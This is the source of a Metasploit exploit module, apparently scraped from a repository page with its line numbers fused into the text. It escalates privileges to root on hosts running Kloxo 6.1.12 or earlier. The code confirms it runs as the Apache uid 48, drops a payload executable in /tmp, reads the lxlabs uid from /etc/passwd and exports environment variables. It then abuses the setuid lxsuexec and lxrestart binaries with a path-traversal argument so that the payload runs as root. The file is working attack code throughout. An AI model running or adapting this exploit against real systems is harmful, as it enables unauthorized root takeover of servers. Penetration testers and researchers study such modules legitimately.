Path: blob/master/modules/exploits/linux/local/kloxo_lxsuexec.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112include Msf::Exploit::Local::Linux1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Kloxo Local Privilege Escalation',20'Description' => %q{21Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as22lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,23Apache by default on CentOS 5.8, the operating system supported by Kloxo.24This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.25},26'License' => MSF_LICENSE,27'Author' => [28'HTP', # Original PoC according to exploit-db29'juan vazquez' # Metasploit module30],31'Platform' => [ 'linux' ],32'Arch' => [ ARCH_X86 ],33'SessionTypes' => [ 'shell' ],34'Payload' => {35'Space' => 8000,36'DisableNops' => true37},38'References' => [39[ 'EDB', '25406' ],40[ 'OSVDB', '93287' ],41[ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC42],43'Targets' => [44[ 'Kloxo 6.1.12', {} ]45],46'DefaultOptions' => {47'PrependSetuid' => true48},49'DefaultTarget' => 0,50'Privileged' => true,51'DisclosureDate' => '2012-09-18',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57}58)59)60end6162def exploit63# apache uid (48) is needed in order to abuse the setuid lxsuexec binary64# .text:0804869D call _getuid65# .text:080486A2 cmp eax, 4866# .text:080486A5 jz short loc_80486B6 // uid == 48 (typically apache on CentOS)67# .text:080486A7 mov [ebp+var_A4], 0Ah68# .text:080486B1 jmp loc_8048B62 // finish if uid != 4869# .text:08048B62 loc_8048B62: ; CODE XREF: main+39j70# .text:08048B62 ; main+B0j71# .text:08048B62 mov eax, [ebp+var_A4]72# .text:08048B68 add esp, 0ECh73# .text:08048B6E pop ecx74# .text:08048B6F pop esi75# .text:08048B70 pop edi76# .text:08048B71 pop ebp77# .text:08048B72 lea esp, [ecx-4]78# .text:08048B75 retn79# .text:08048B75 main endp80print_status("Checking actual uid...")81id = cmd_exec("id -u")82if id != "48"83fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")84end8586# Write msf payload to /tmp and give provide executable perms87pl = generate_payload_exe88payload_path = "/tmp/#{rand_text_alpha(4)}"89print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")90write_file(payload_path, pl)91register_file_for_cleanup(payload_path)9293# Profit94print_status("Exploiting...")95cmd_exec("chmod +x #{payload_path}")96cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`")97cmd_exec("export MUID=$LXLABS")98cmd_exec("export GID=$LXLABS")99cmd_exec("export TARGET=/bin/sh")100cmd_exec("export CHECK_GID=0")101cmd_exec("export NON_RESIDENT=1")102helper_path = "/tmp/#{rand_text_alpha(4)}"103write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")104register_file_for_cleanup(helper_path)105cmd_exec("lxsuexec #{helper_path}")106end107end108109110